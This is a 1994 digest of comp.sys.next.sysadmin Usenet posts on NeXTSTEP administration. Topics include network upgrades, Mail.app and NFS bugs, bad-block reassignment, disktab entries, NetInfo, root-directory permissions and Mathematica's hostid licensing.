Subject: Installing 3.1 from over the network
Date: 15 Feb 1994 20:18:22 GMT
Organization: University of Washington
Message-ID: <2jrame$6he@news.u.washington.edu>
We have installed 3.1 on our network server and would like to upgrade our
other NeXTs over the network. When I click on the Upgrade_3.1.app, the
following message appears:
Could not find the new software. This application should be run
from the root of the new release.
Then the Open Upgrade window appears with the message:
Please open the Upgrader control file which was supplied with your
new software.
I assume that the first message means that we need to put the
Upgrade_3.1.app at the root level (it's only linked there currently), but
I'm not sure what control file the second message is referring to.
In addition to all of this, we were trying to do this last Fall and had
some other problems.
Does anyone have any help or insights into the matter?
Ron Averill
School of Music Computer Center
University of Washington
raverill@u.washington.edu
From: jmm@king.econ.lsa.umich.edu (Jeffrey K. MacKie-Mason)
Newsgroups: comp.sys.next.sysadmin
Subject: Weird Mail.app problems
Date: 15 Feb 1994 22:54:13 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2jrjql$qa7@agate.berkeley.edu>
Keywords: Mail
I have repeatedly run into two Mail.app problems over the past several months;
I've finally reached my tolerance limit and seek advice:
1. I quit Mail.app, then run another mail program (e.g., pine from a terminal
shell, or when I tried the Echelon demo today). Then I quite {pine, Echelon},
and rerun Mail.app (by double-clicking my Active.mbox). Mail will no longer
fetch new mail from /usr/spool/mail/<user>. It doesn't beep as if no mail is
there (and there *is* mail there); rather the menu flashes, but no sound and no
result. I have to logout and login again to get Mail to fetch new messages.
2. If I try to transfer a message with an attachment to one of my mboxes using
the Mail.app Mailboxes window, Mail.app hangs. I have to logout and *reboot*
to get it happy again. At that point the message has transferred to where I
wanted it, but the attachment isn't there.
Any ideas?+
--
Prof. Jeff MacKie-Mason
Dept. of Economics Jan-July '94: California Energy Institute
Univ. of Michigan 2539 Channing Way
Ann Arbor, MI 48109-1220 Berkeley, CA 94720
internet: jmm@umich.edu phone: 510-642-3570 fax: 510-642-3570
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Date: Tue, 15 Feb 94 18:46:52 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: recommentation for fingerd/finger replacement?
References: <2jpk8k$6d3@bigfoot.wustl.edu>
In article <2jpk8k$6d3@bigfoot.wustl.edu> hussain@artsci.wustl.edu (G. H.
Chinoy) writes:
>
> I was wondering what people would recommend to replace NeXT's standard
> fingerd/finger?
>
GNU finger from prep.ai.mit.edu is great on our networked SGI, MIPS, and
older machines. I'm planning to install it on our NeXTs, but I imagine it
will take some work.
Later,
Paul Cardon
From: wmorse@erasure-sl.cc.emory.edu (William Morse)
Newsgroups: comp.sys.next.sysadmin
Subject: Security Issue: Check your systems
Date: 16 Feb 1994 05:52:14 GMT
Organization: Emory University, Dept of Math and CS
Distribution: world
Message-ID: <2jscaeINNif6@emory.mathcs.emory.edu>
I discovered the default root directory / permissions on NeXTSTEP machines
is the following:
drwxrwxrwt 14 root 1024 Feb 15 16:23 ./
drwxrwxrwt 14 root 1024 Feb 15 16:23 ../
The result is that anyone at any time can write to /.
I believe you should make the default look like:
drwxr-xr-t 14 root 1024 Feb 15 16:23 ./
drwxr-xr-t 14 root 1024 Feb 15 16:23 ../
Do this by executing the following command as root at /.
"chmod og-w ."
That should clear any security problems.
William Morse
Consult. / ITD
From: jmd@cube.handheld.com (Jim De Arras)
Newsgroups: comp.sys.next.sysadmin
Subject: Upgrade to 3.2 black and keep dot matrix driver?
Date: 14 Feb 1994 03:38:12 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <2jmrn5INN5r2@clem.handheld.com>
The upgrade notes said the NXDotmatrix (or whatever!) drivers were being
removed from intel upgrades, and so I assumed they would leave the M68k one
there. Not so, I upgraded, and my proprinter driver was gone!
I've recovered by recovering the 3.1 driver, but is that the "correct" way, or
did I do something wrong when I upgraded?
Jim
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From: tfs@blackplague (Tim Scanlon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: bad blocks
Followup-To: comp.sys.next.sysadmin
Date: 14 Feb 1994 19:24:38 GMT
Organization: George Mason University, Fairfax Va.
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Summary: Nasty code...
Keywords: GACK!
After some degree of silence on the net, (havn't had time to
read news really) I feel compelled to follow up on your post with
a description of my troubles with "reasb" and experiences with
dealing with bad blocks on NeXT's that goes back to 1992.
That and I can only rather desperatly Hope and pray that
~Someone~ at NeXT will rub a few brain cells together and actually DO
something about the problem in the OS with disks... On that count
I actually hold out VERY LITTLE HOPE, since based on results, NeXT
doesn't nor ever had a decent team dealing with Hard Drives & SCSI
drivers... (And yes, you could interpret that last as being snotty,
but the truth is that I'm just being honest, not diddly has been
done in the OS on this since release 2.1 in my experience.)
With that said, here's my experiences with it. First,
pray you have a good backup... Then, do not count on reasb to work,
even with disks that it SHOULD work with and WILL work with... The
damn thing is like voodoo, I've had it work and not work on a variety
of disks. Most all of which would re-assign blocks ok and contained
the firmware ability to do so. I've had alot of experience with it
because I've worked in the past for a NeXT VAR in Va. And because
I had the bad fate to get a sligtly flaky Maxtor 8760-S drive.
Anyhow, with the Maxtor I've tried to reassign blocks on
4 different occasions, and had it succeed twice, once on one block out
of about 7 and then this last time on like 4. The times in between?
nada, no joy. Each time I id did it, I tried a variety of techniqes
and the most succesful was pretty basic, I reformatted the disk about
4 times, then did an init on it. If the init failed I reassigned the
"bad" block and then re-ran init till I got through it. After that,
and becasue tthat doesn't cover everything, I "scanned" for backup
superblock's which covers everything pretty well. If I hit a bad spot,
(these show up in the console) I then stopped it and reasb'ed the
offending block. You ~may~ get them all this way, mayhaps not, I'd
try the "just do it mode" with no arg's first, then the -r mode after
that. I've had mixed results ON THE SAME BLOCK! strange, very strange...
Anyway, your best bet? find someone who has a PC with a SCSI
card and use some GOOD disk formatting software to reassign them, OR
try a Mac, with like Hammer Tools, OR try a Sun, I've had decent luck
with using a Sun & a Soubourne both. Chances are one of the above
will do the job for you with a minimum of pain if you pay attention
to the different ways offered for low level formatting etc. In fact,
I'd give the Sun a shot first, the DOS a shot second (with like a new
version of Disk Manager) and the Mac third. Remember that you want to
check it at a low level and all that noise...
Then, after you have re-low level formated it on another
platform, under a diffent OS, and gotten rid of the nasty bad blocks,
DO NOT put a foreign file system on it, (Allthough I've found that
any 4.3 fs is non problematic) just brin it home and init a new file
system on it using "disk" (btw disk is the utility that I used in
the described manuvers above). After that you should be good to go.
Best bet it to remap anything that it even has to make more than one
attempt to read or write so the sucker is clean as a whistle. If you
succceed in that, then you should be safe.
Ok I can't resist a couple of suggestions to the ether, so
if you're bored brainless by this or have had more than enough of my
rantings -snip here-.
I'm doing this on the off chance that some hardy soul at NeXT
or on the net will read this and find it solvable... I'd do it but
my forte is security, not C programming...
1. "Disk" really needs to have this stuff internalized,
reasigning blocks outside of the interface, and having no method for
DiskBuilder.app to do it automagicly is a total kludge and we all know
it. BIG fault in the "ease of use" concept that the OS rides on.
Even the command line action would make a 99% difference, as it's nasty
and broken under the current implementation.
2. Reasb is broken and unreliable. It simply doesn't cut it.
I have had too much experience with it not to belive otherwise. In
replicable curcumstances it just doesn't do the trick. Not only that,
but having the only options be to "read then reassign" is a BAD THING.
It needs an option to jsut reassign period. At a _Minimum_ it needs
this! if sector's 2 & 3 of my disk are hosed, and unreadable, my damn
fs is gone anyhow pretty much and I'm looking to my backups anyway,
much less any questions of fault tolerance and reliability of data
entering the picture. Anything that's coming up "bad" I'm going to
want to restore from a backup ANYHOW, so who gives 2 cents wether or
not I can read the data? I don't think I'm alone in that attitude...
3. The "combination" philosophy needs to be trashed, simple
intigration of those two programs doesnt' cut it. A facility to deal
with disk blocks on disk's that don't support reassignment needs to
be implimented, as well as broader more reliable support for SCSI I, II,
and Intel stuff. Scanning for bad blocks and re-assignment should
happen during ANY format that happens. That facility should also be
feature-ized or optionized, due to the stunning variety of stuff out
there & problems encountered...
Anything else should damn well be self evident if this is given
real thought so I'll stop ranting here. Actually MOST of what I said
is, but apperently it needed to be said cause so far all we got is
same shit diffrent version. & whatever changes are made damn well
should be released to work with 3.0 UP not as part of 3.3 or some
cheeseball marketroid crap similar to that. I realize that would
perhaps set some sort of precident when it came to Customer Service,
but then too, I've made money where NeXT has lost money over precisly
that issue so what do I know? Guess I shouldn't bitch TOO much...
The clue in that one that needs to be gotten is that Service in
a software product means more than 800 numbers, it means fixing critical
problems and making the code avalible... good examples are rdist,
the sendmail patch, and the other SMALL patches on ftp.next.com.
Reliability and restorability of my hardware and OS are MORE
critical issues than worrying about J. Random Cracker, most of whom
don't understand Netinfo anyway...
Tim Scanlon
Newsgroups: comp.sys.next.sysadmin
From: jim@nestmoi.rain.com (Jim Chorn)
Subject: Disktab Entry for Seagate ST31200N Needed
Message-ID: <1994Feb16.053227.255@nestmoi.rain.com>
Organization: none - Portland, OR
Date: Wed, 16 Feb 1994 05:32:27 GMT
Hi all, I'm looking for a disktab entry for a Seagate ST31200N and
any feedback of anyone that has used one on a NeXT. Please reply
by E-mail and I'll summarize for the net.
What I'd like is a disktab entry for four partitions
a) small, same size as root (~140M)
b) 372M (swap/tmp/local)
c & d) what's left / 2 each (users files and devel areas)
BTW. I'd do one myself but the documentation only gives #head + #cyls
ncyl 2700 + 2 in front porch, 9 heads, 512/sector, 1 spare per track
(total space = 1063.5M (exclusive of front porch). No sec/track info.
thanks,
-jim
ps. Yep, I'm the same guy with the Toshiba. But it broke and is dead and gone.
take your pick:
jim@nestmoi.rain.com jim%nestmoi@agora.rain.com jim%nestmoi@neon.rain.com
From: wolpert@belchen.ds2i.freiburg.sub.com (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: Re: Problems with NeXT rmail
Followup-To: comp.sys.next.sysadmin,comp.mail.sendmail
Date: 16 Feb 1994 10:26:40 GMT
Organization: FreiNet, a VzF* InterNetNews site
Message-ID: <2jssd0$gk3@bock.freiburg.sub.org>
References: <westesCL8o1A.DIM@netcom.com>
Will Estes (westes@netcom.com) wrote:
: We are getting mail bounced back to an undeliverable address in the
: return-path, and I need help working around this.
: We have a NeXT for Intel 3.2 system acting as a UUCP mail host for
: our company. Sendmail is configured to work with SMTP type
: addresses rather than requiring bang-style addressing. The problem
: we have is this: we get mail from our service provider with a From
: envelope that uses typical SMTP style addressing. An example:
: From westes@netcom.com Mon Feb 14 15:25:54 1994
: rmail in all of its wisdom converts these to:
: return-path: <somewhere!westes@netcom.com>
: ...
: From: westes@netcom.com
: If the mail is going to a valid address, this is fine. But if the
: mail is delivered to a bad address, and needs to be bounced, then it
: is being sent back to the address in the return-path, rather than
: the address in the From: field.
:
: - get an rmail that writes the return-path without
: "somewhere!..."
this is how we did it and it works fine !
I can send you my rmail.c (it's not so big).
- Flo.
From: wolpert@belchen.ds2i.freiburg.sub.com (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netinfo host name changes -- reflect in domain names???
Date: 16 Feb 1994 10:34:18 GMT
Organization: FreiNet, a VzF* InterNetNews site
Distribution: usa
Message-ID: <2jssra$gk3@bock.freiburg.sub.org>
References: <CL2GLA.9uL@murdoch.acc.Virginia.EDU>
David J. Messner (djm4m@poe.acc.Virginia.EDU) wrote:
: Hello,
: I have just changed the host names on our netinfo network. My question
: is how to change the domain names in netinfo accordingly????
We have done the same thing (renaming the server) and now the only
way seems to be creating netinfo from scratch.
Or are there any tools ?
- Flo.
Newsgroups: comp.sys.next.sysadmin
From: crc0y@napier.urich.edu (coates r carter)
Subject: mach-task plague
Message-ID: <1994Feb15.213852.11734@gossip.urich.edu>
Sender: news@gossip.urich.edu (USENET News System Admin)
Organization: University of Richmond
Date: Tue, 15 Feb 1994 21:38:52 GMT
Looking for help.
The netinfo server for a lab of pizzaboxes is afflicted with dozens of
processes like the following:
root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
root -1 0.0 0.0 0K 0K ? N 0:00 <mach-task>
Don't know where they come from, but I seem to remember someone else
having this problem. Rebooting clears them but they come back again, like
locusts- ugly ones.
Any suggestions?
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: That hostid fake hack
Date: 16 Feb 1994 13:48:48 -0000
Organization: me organized? That's a joke!
Message-ID: <2jt880$285@steffi.demon.co.uk>
Remember when everybody upgraded their motherboards to 040 and
Mathematica stopped working. And then Wolfram decide that you had to
"upgrade".
Well during that time, the idea of copy protection based on hostid was
looked down up. Because of Intel H/W NeXT have disabled hostid
altogether. (a fix on sutro for those who really need it). Anyway, at
the time somebody posted a simple C program which effectively tricked
the kernal into to thinking its hostid was something different. ie.
that of your old 030 motherboard which was junked anyway so recycling
the id was not a problem.
Does anybody still have this piece of code? Anybody with those Usenet
News CD-ROM's would probably have it. It was around that time the 040's
came out. Late 1991 I think.
Where is Mathematica these days now that NeXT have dropped hostid?
Have they resorted to a different scheme? I know B&W were quite
prepared to accomodate me if my motherboard changed with NXFax.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: "Wesley C. Smith" <wes@arissoft.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Weird Mail.app problems
Date: 16 Feb 1994 16:09:58 GMT
Organization: Real/Time Communications - Bob Gustwick and Associates
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If your incoming mailbox (/usr/spool/mail/jmm) is mounted with NFS, your first
problem, (failure to notice new mail) might be caused by a NFS bug in
NEXTSTEP.
The bug occurs if a remote machine removes all the data from the file making
it 0 bytes long. Then if the local machine adds mail to the file the remote
machine will still consider the file to be 0 bytes long. You must delete the
file or remount it in order to get the remote machine to notice when new mail
is put into the mailbox. This bug (feature?) also makes it possible for you to
lose mail. :-(
Getting your mail using IMAP instead of a mounted NFS file is one way to avoid
the problem.
Wes Smith
wes@arissoft.com MIME and NeXTmail ok
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From: janna@reliant.bsd.uchicago.edu (& Ore Nugent)
Subject: Crashed NeXTstations bring down whole ethernet leg
Message-ID: <1994Feb16.161944.10520@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
Date: Wed, 16 Feb 1994 16:19:44 GMT
I've administered NeXTs for 3 years, and am encountering the strangest
problem I've ever seen.
I have six black boxes on one leg of my thin ethernet repeater. Within
the last two weeks, however, something extrememly weird has begun
happening. A NeXTstation will freeze, it's screen suddenly covered
horizontal lines. Most of the other NeXTstations on that leg will then
also hang - eternal spinning disk - that immediately unfreeze if I reboot
the machine with the horizontal lines. Note that the machine with the
lines doesn't respond to the keyboard - I have to pull the plug.
The only reason I think of for why the other computers on the leg freeze
is that the horizontal line NeXTstation must be flooding that leg of the
ethernet with network packets. But what's especially odd is that this has
happened 4 times in the last two weeks, with three *different*
NeXTstations freezing with the horizontal lines! After I pull the plug,
they have all rebooted just fine.
Has anyone heard of something like this happening before? Any ideas what
could be the problem? When just one NeXTstation produced horizontal lines
I thought "hardware problem", and when a second started in I thought, well
maybe they're both going. But three seperate NeXTstations freezing with
horizontal lines and flooding the network, all within two weeks?
Something odd is going on here.
Thanks for any/all ideas.
Janna Ore Nugent "Tiger gotta hunt. Bird gotta fly.
Biological Sciences Division Man gotta sit and wonder why, why, why.
The University of Chicago Tiger gotta sleep. Bird gotta land.
Man gotta tell himself he understand."
- Kurt Vonnegut Jr.
Newsgroups: comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Message-ID: <1994Feb15.053636.3623@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
References: <2jm72o$a68@quartz.ucs.ualberta.ca>
Date: Tue, 15 Feb 1994 05:36:36 GMT
In article <2jm72o$a68@quartz.ucs.ualberta.ca> jmack@skye.phys.ualberta.ca
writes:
> In article <2jk63g$qn5@garuda.csulb.edu> vamp@gothic.acs.csulb.edu
(VampLestat)
> writes:
> > And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
> > >I have downloaded some fonts I'd like to use on my NeXT, but have
> > >been unsuccesful in finding Unix code to unpack these archives.
> .
> > The fonts are probably Macintosh fonts, and so they have been
compresses
> > with Compact Pro, which gived the .cpt extension.
> ..
>
> The new demo version of Executor1.3b has this utility (quite handy), and
as
> long as the uncompress takes less than 10 minutes (demo limit) you
should be
> ok.
> --
5 times true, but don't you think after using Executor a few times, it's
smart to support the author and buy the program? Reasonable price, and
that'll guarantee that newer, wizzier versions keep coming. And, you can
wean your kids from TV by addicting them to Lemmings! ;-)
andrew
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Date: Wed, 16 Feb 94 10:11:10 MST
From: yackd@virginia.et.byu.edu (Don Yacktman)
Newsgroups: comp.sys.next.sysadmin
Distribution: world
References: <2jt880$285@steffi.demon.co.uk>
Organization: Brigham Young University, Provo UT USA
Subject: Re: That hostid fake hack
In article <2jt880$285@steffi.demon.co.uk>, robert@steffi.demon.co.uk (Robert Nicholson) writes:
>Where is Mathematica these days now that NeXT have dropped hostid?
>Have they resorted to a different scheme? I know B&W were quite
>prepared to accomodate me if my motherboard changed with NXFax.
Oh, they still use it, to poor effect.
I know this because the other day Paul had to switch the
ethernet cards from one set of computer (NEXTSTEP/FIP) to
the machines in a different lab (it was a coax/twisted pair
thing, the NEXTSTEP lab has twisted pair, but the other lab
only has coax and the cards in the NS machines have both
but the other machines only had twisted pair)...so anyway,
Paul moves all the cards over and Mathematica stops working
on every Intel machine. Because the hostid keys off the
ethernet id in the card's firmware. NeXT should make it
return zero _regardless_. Then we wouldn't have this problem
and it would screw Wolfram over darn good. After making
so many of us go through this hostid crap, they deserve it.
I think Paul was ready to strangle everyone at Wolfram,
really slowly, after going through all that...
--
Don_Yacktman@byu.edu Nepotism is a relative thing.
don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
Newsgroups: comp.sys.next.sysadmin
From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: /etc/disktab entry building
Message-ID: <CLBvFr.GKs@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
Date: Wed, 16 Feb 1994 17:33:26 GMT
I'm running NeXTStep for Intel on a 486 and have a 500Mb
Fujitsu M2624FA SCSI hard drive hanging off an Adaptec
1542CF SCSI controller.
I would like to create a standard UNIX partition [a-h]
on my SCSI hard disk so that I can have more control
over my filesystems.
From what I have read in /etc/disktab and BuildDisk,
it seems that NeXT only provides 1 and 2 partition
functionality. To initialize a disk with more than 2
partitions requires a /etc/disktab entry to be built.
My questions are:
(i) is the above reading of NeXT support correct?
(ii) can anyone point me in the direction of how
to pick up some sample disktab entries for a
similar drive, or any documentation on how to build
disktab entries. The values of the fields are
roughly described in /etc/disktab - I was thinking of
more explanatory information.
Many thanks
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.ibm.pc.hardware.video
From: fineman@cs.washington.edu (Daniel Fineman)
Subject: What revision ATI GUP does this bios # give?
Message-ID: <1994Feb16.173250.16691@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Wed, 16 Feb 94 17:32:50 GMT
Hey all---
I've found someone selling an ATI GUP 2mb card, but i need
to know which bios revision it is (v.3 or v.6). It doesn't say
on the card specifically, but here's the bios number:
113-19509-102
Any help? It's got a 3 in it...
dan
fineman@cs.washington.edu ascii please!
Newsgroups: comp.sys.next.sysadmin
From: Dimitrij Hmeljak <nirmng@univ.trieste.it>
Subject: NeXTStep as gopher server - suggestions?
Message-ID: <DB3LB5VT@math.fu-berlin.de>
Sender: news@math.fu-berlin.de (Math Department)
Organization: Centro di Calcolo - Universita' degli Studi di Trieste
Date: Wed, 16 Feb 1994 18:12:44 GMT
Facts:
Installing a gopher server (in future WWW, [more], ... too).
Available choices OpenVMS, OSF/1, Irix, Ultrix or a different
dedicate machine / OS.
Questions:
1) Do you have any similar experience?
2) Suggestions?
3) Would it be wise to install it on a new NeXTStep machine?
4) If so, what kind of machine - CPU, RAM, HDisks, ... ?
Thank you very much for your cooperation... please email (too) answers.
----- Dimitrij Hmeljak ----- nirmng@univ.trieste.it -----
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com (Michael Pizolato)
Subject: Can't change root netinfo domain except on server
Message-ID: <1994Feb15.195139.1865@afs.com>
Sender: Michael_Pizolato@afs.com
Date: Tue, 15 Feb 1994 19:51:39 GMT
I'm running NetinfoManager on one machine but the domain I'm working
in is the root domain and it's on another machine, namely the master
netinfo server. I make a change to something in the root domain
and try to save it. NetinfoManager gives me a panel where I have
to enter the login and password of a privileged user, usually root,
on the master netinfo server. I know the root password on the
master netinfo server, but NetinfoManager refuses to accept it, so
I cannot change anything in the root domain unless I am actually
sitting at the master netinfo server, or I rsh to the master netinfo
server, become root, and NXHost NetinfoManager back to my machine.
What's the deal?
Thanx,
Michael
--
Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche,
NeXTMail accepted but he makes up for it by being less cheerful
than Kierkegaard."
- Kim Pizolato
Message-ID: <~*&@byu.edu>
Date: Wed, 16 Feb 94 13:52:09 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
References: <2jscaeINNif6@emory.mathcs.emory.edu>
Distribution: world
In article <2jscaeINNif6@emory.mathcs.emory.edu>
wmorse@erasure-sl.cc.emory.edu (William Morse) writes:
> I discovered the default root directory / permissions on NeXTSTEP
machines
> is the following:
>
> drwxrwxrwt 14 root 1024 Feb 15 16:23 ./
> drwxrwxrwt 14 root 1024 Feb 15 16:23 ../
>
> The result is that anyone at any time can write to /.
>
> I believe you should make the default look like:
>
> drwxr-xr-t 14 root 1024 Feb 15 16:23 ./
> drwxr-xr-t 14 root 1024 Feb 15 16:23 ../
This is something I changed right away on all of our lab machines last
year. The thing that really ticked me off is that Upgrade.app changed the
permissions back to world writable when I upgraded to 3.2 so I had to
change them again.
Later,
Paul Cardon
Message-ID: <a*&@byu.edu>
Date: Wed, 16 Feb 94 13:59:43 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: That hostid fake hack
References: <$*&@byu.edu>
Distribution: world
In article <$*&@byu.edu> writes:
>
> In article <2jt880$285@steffi.demon.co.uk>, robert@steffi.demon.co.uk
(Robert Nicholson) writes:
>
> >Where is Mathematica these days now that NeXT have dropped hostid?
> >Have they resorted to a different scheme? I know B&W were quite
> >prepared to accomodate me if my motherboard changed with NXFax.
>
> Oh, they still use it, to poor effect.
>
> I know this because the other day Paul had to switch the
> ethernet cards from one set of computer (NEXTSTEP/FIP) to
> the machines in a different lab (it was a coax/twisted pair
> thing, the NEXTSTEP lab has twisted pair, but the other lab
> only has coax and the cards in the NS machines have both
> but the other machines only had twisted pair)...so anyway,
> Paul moves all the cards over and Mathematica stops working
> on every Intel machine. Because the hostid keys off the
> ethernet id in the card's firmware. NeXT should make it
> return zero _regardless_. Then we wouldn't have this problem
> and it would screw Wolfram over darn good. After making
> so many of us go through this hostid crap, they deserve it.
> I think Paul was ready to strangle everyone at Wolfram,
> really slowly, after going through all that...
Yes, I was. Especially since there were six lab classes coming
in starting at 9am the next morning. Luckily, my contact at Wolfram
was still working at 8pm (Wow!!) and I was able to get new codes
in time. It still pissed me off that I had to go through that at
all. What if I didn't get that lucky? The response was quick, but
I still think their obnoxious protection scheme is complete overkill.
BTW, thanks for saving me some typing Don.
Later,
Paul M. Cardon
NeXTSTEP and HP System Manager
Math Dept. - Brigham Young University
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DOS - The Ultimate Blivet
From: eric@american.edu (Eric Prestemon)
Newsgroups: comp.sys.next.sysadmin
Subject: Top (or equivalent) for 3.0 black?
Date: 16 Feb 1994 21:44:01 GMT
Organization: University Computing Center - American University, Washington DC
Message-ID: <2ju431$m9t@paladin.american.edu>
Does anyone know how to get top working on a NeXT machine, or what program
does the equivalent? (preferably in a terminal window, since I maintain
a couple NeXT machines remotely)
Thanks,
-Eric
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: wolf@lanl.gov (David R Wolf)
Subject: HELP : How to set up a Group Email service
Message-ID: <1994Feb16.212817.7953@newshost.lanl.gov>
Keywords: email group address and forwarding
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Distribution: usa
Date: Wed, 16 Feb 1994 21:28:17 GMT
What I want to do is this:
A bunch of dudes want to be able to mail to one address - say
my machine "harpo@grouchy.gov" and have the email forwarded to a
particular list of people - the bunch.
Everyone in the bunch should be able to do this, and no-one but the
guy who sets up the service (me) should have to keep track of who is
on the forwarding list.
What's the best way?
--
=======================================================================
David R. Wolf wolf@lanl.gov LANL, MS P940, 87545 (505) 667-3813
=======================================================================
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: mach-task plague
Message-ID: <1994Feb16.223645.12118@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1994Feb15.213852.11734@gossip.urich.edu>
Date: Wed, 16 Feb 1994 22:36:45 GMT
In article <1994Feb15.213852.11734@gossip.urich.edu>
crc0y@napier.urich.edu (coates r carter) writes:
>
> Looking for help.
>
> The netinfo server for a lab of pizzaboxes is afflicted with dozens of
> processes like the following:
>
> root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task>
> root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
> root -1 0.0 0.0 0K 0K ? N 0:00 <mach-task>
>
> Don't know where they come from, but I seem to remember someone else
> having this problem. Rebooting clears them but they come back again,
like
> locusts- ugly ones.
They are supposed to spring into life when you use the serial port. If
that is the case, you could probably minimise them by avoiding it. They
started with 3.0, and are still here with 3.2.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: Charles.M.Dudley.<warrior@churchst.ccs.itd.umich.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Inquiry
Date: 17 Feb 1994 00:21:46 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2judaq$na@lastactionhero.rs.itd.umich.edu>
I want to touch base with you briefly to see what kinds of shrinkwrap
applications your customers are asking for or need. Developer Relations is starting to map out our strategies to recruit new developers and the best chance we have for success is to recruit developers of applications our customers want. Ideally I'd like to know who the cu
stomer is and what they would be interested in, but I'll take the information any way I can get it.
I've already touched base with the SCs and have gotten some great feedback from Abbott, CFC, FNBC, and Apollo Derivatives Group. Any other feedback you can provide would be greatly appreciated.
for Developer Relations,
Sara Benson@next.com
P.S.: Send all recommendations to sara.benson@next.com.
--
Copyright 1994 Charles M. Dudley Charles.Dudley@umich.edu
NEXTSTEP User 313.308.3792
P. O. Box 130231 Ann Arbor, MI 48113
NeXTmail to: warrior@churchst.ccs.itd.umich.edu
"The One True President of the Michigan NeXTSTEP Users Group."
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail Pictures
Date: 16 Feb 1994 23:05:17 GMT
Organization: the Borg
Distribution: world
Message-ID: <2ju8rd$rf@theborg.stack.urc.tue.nl>
References: <9402151813.AA06726@dcs.shef.ac.uk>
In article <9402151813.AA06726@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk
(Malcolm Crawford) writes:
<stuff deleted here and there>
> add "bogus" user names to the passwd file in
> /LocalLibrary/Images/People/ which you created by running mailDBupdate
> of the form:
> m.crawford@dcs.shef.ac.uk::::::/bin/csh
> and add apropriately-named icons, e.g
> m.crawford@dcs.shef.ac.uk.tiff
> (use all-lower-case throughout).
>
> I suspect you will run into problems if you have set up a cron job to
> run mailDBupdate since this overwrites the passwd file... I'm not sure
> what's the best way of getting round this; some solutions may have
> security problems...?!
I believe you shouldn't use the "@"'s and please note that the password file
isn't used for anything but creating a link from an account to an icon, it is
not used by Unix and normally NetInfo keeps this information in a comletely
different format in a completely different place! So don't bother about writing
over this file...
Annard
--
Give me enough bandwidth and I can transmit the earth.
- Annard Brouwer
annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: mounting hard disk at boot time
Message-ID: <CLB9zM.Axt@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <2jm1v7$991@lastactionhero.rs.itd.umich.edu>
Date: Wed, 16 Feb 1994 09:50:09 GMT
In article <2jm1v7$991@lastactionhero.rs.itd.umich.edu>
dcheslow@impact.flint.umich.edu (David A. Cheslow) writes:
[...]
use
/dev/sd1a /NeXT250 4.3 rw,noquota 0 2
a similar line works fine for me. Don't use the noauto option except
for the boot drive.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Security holes in NeXT UUCP/Sendmail?
Message-ID: <westesCLCGpL.Hvu@netcom.com>
Organization: Mail Group
Date: Thu, 17 Feb 1994 01:12:41 GMT
Are there any security holes in NeXT FIP 3.2's UUCP, SMTP, or sendmail
that should be closed before putting a system onto the net?
--
Will Estes Internet: westes@netcom.com
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
